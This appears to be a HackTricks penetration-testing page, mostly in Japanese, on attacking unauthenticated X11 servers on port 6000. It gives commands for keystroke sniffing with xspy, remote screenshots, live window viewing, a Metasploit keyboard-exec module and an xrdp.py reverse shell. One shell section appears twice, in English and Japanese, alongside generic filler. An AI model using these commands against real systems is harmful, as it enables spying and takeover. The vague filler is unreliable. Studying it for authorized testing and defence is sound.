hacktricks/network-services-pentesting/6000-pentesting-x11.md

14 KiB
Raw Blame History

6000 - X11のペンテスト

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProofはすべての暗号バグバウンティの場所です。

遅延なしで報酬を受け取る
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。

Web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです上昇期のWeb3セキュリティをマスターしましょう。

Web3ハッカーレジェンドになる
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。

HackenProofでサインアップしてハッキングから報酬を得ましょう!

{% embed url="https://hackenproof.com/register" %}

基本情報

X Window SystemXとも呼ばれるは、ビットマップディスプレイ用のウィンドウシステムであり、UNIXベースのオペレーティングシステムで一般的に使用されています。XはGUIベースの環境の基本的なフレームワークを提供します。また、Xはユーザーインターフェースを強制しません - 個々のプログラムがこれを処理します。
From: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

デフォルトポート: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

列挙

匿名接続をチェックします:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

ローカル列挙

ユーザーのホームフォルダにあるファイル .Xauthority は、X11の認証に使用されます。ここから

MIT-magic-cookie-1: 128ビットのキー"cookie")を生成し、それを ~/.XauthorityまたはXAUTHORITY環境変数が指す場所に保存します。クライアントはそれを平文でサーバーに送信しますサーバーはこの "cookie" のコピーを持っているかどうかをチェックし、もしそうであれば接続が許可されます。キーはDMXによって生成されます。

{% hint style="warning" %} クッキーを使用するには、環境変数 export XAUTHORITY=/path/to/.Xauthority を設定する必要があります。 {% endhint %}

接続の検証

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

キーロギング

xspyはキーボードのキーストロークを嗅ぎます。

サンプル出力:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

スクリーンショットのキャプチャ

Screenshots can be a valuable tool during a penetration test to document findings and provide evidence of successful exploits. In the context of X11, capturing screenshots can be done using various tools and techniques.

Using xwd

One way to capture screenshots in X11 is by using the xwd command-line tool. This tool allows you to capture the contents of an X11 window or the entire screen and save it as an XWD (X Window Dump) file.

To capture the contents of a specific window, you can use the -id option followed by the window ID. For example:

xwd -id 0x12345678 -out screenshot.xwd

To capture the entire screen, you can omit the -id option:

xwd -root -out screenshot.xwd

Once you have captured the screenshot as an XWD file, you can view it using an image viewer or convert it to a more common image format like PNG using the convert command from the ImageMagick package:

convert screenshot.xwd screenshot.png

Using scrot

Another tool that can be used to capture screenshots in X11 is scrot. Scrot is a command-line utility specifically designed for taking screenshots in X11.

To capture the entire screen using scrot, simply run the following command:

scrot screenshot.png

By default, scrot captures the entire screen and saves the screenshot as a PNG file. You can also specify a delay before capturing the screenshot using the -d option, and capture a specific window using the -u option followed by the window ID.

Using other tools

There are also other tools available for capturing screenshots in X11, such as import from the ImageMagick package and gnome-screenshot for GNOME desktop environments. These tools provide additional features and options for capturing screenshots in X11.

It's important to note that capturing screenshots may not always be allowed or ethical, depending on the context and the target system. Always ensure that you have proper authorization and follow ethical guidelines when performing penetration testing.

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

リモートデスクトップビュー

参照元: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

方法: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

最初に、xwininfoを使用してウィンドウのIDを見つける必要があります。

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

ライブビューイングのためには、以下のコマンドを使用する必要があります。

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

シェルを取得する

To get a shell on a target system, we can exploit vulnerabilities in the X11 server. The X11 server is responsible for managing graphical user interfaces on Unix-like operating systems.

To exploit X11 vulnerabilities, we can use tools like Xspy, XEvil, or Xinject. These tools allow us to inject malicious code into the X11 server, which can then be used to execute commands on the target system.

Once we have successfully exploited the X11 server, we can use the injected code to spawn a shell on the target system. This shell will give us full control over the system, allowing us to execute commands, access files, and perform other actions.

It is important to note that exploiting X11 vulnerabilities requires careful planning and execution. It is recommended to thoroughly test the exploit in a controlled environment before attempting it on a target system.

シェルを取得する

ターゲットシステムでシェルを取得するために、X11サーバーの脆弱性を悪用することができます。X11サーバーは、Unix系オペレーティングシステム上でグラフィカルユーザーインターフェースを管理する役割を担っています。

X11の脆弱性を悪用するために、Xspy、XEvil、またはXinjectなどのツールを使用することができます。これらのツールを使用すると、悪意のあるコードをX11サーバーに注入することができます。この注入されたコードを使用して、ターゲットシステム上でコマンドを実行することができます。

X11サーバーを成功裏に悪用した後、注入されたコードを使用してターゲットシステム上でシェルを生成することができます。このシェルを使用すると、システム全体を完全に制御することができ、コマンドの実行、ファイルへのアクセス、その他の操作を行うことができます。

X11の脆弱性を悪用するには、注意深い計画と実行が必要です。ターゲットシステムで試す前に、コントロールされた環境でエクスプロイトを徹底的にテストすることをおすすめします。

msf> use exploit/unix/x11/x11_keyboard_exec

他の方法:

リバースシェル: XrdpはNetcatを介してリバースシェルを取得することも可能です。以下のコマンドを入力します

./xrdp.py <IP:0> no-disp

新しいコントロールパネルが表示され、Rシェルオプションが表示されます。以下に示します

ローカルシステムでポート5555でNetcatのリスニングモードを開始します。以下に示します

次に、IPとポートを追加し、R-Shellを選択します。以下に示します

以下のように、完全なシステムアクセスが確認できます:

{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}

Shodan

  • port:6000 x11

HackenProofはすべての暗号バグバウンティの場所です。

遅延なしで報酬を受け取る
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ります。

Web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです成長するWeb3セキュリティをマスターしましょう。

Web3ハッカーレジェンドになる
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。

HackenProofでサインアップ ハッキングから報酬を得ましょう!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥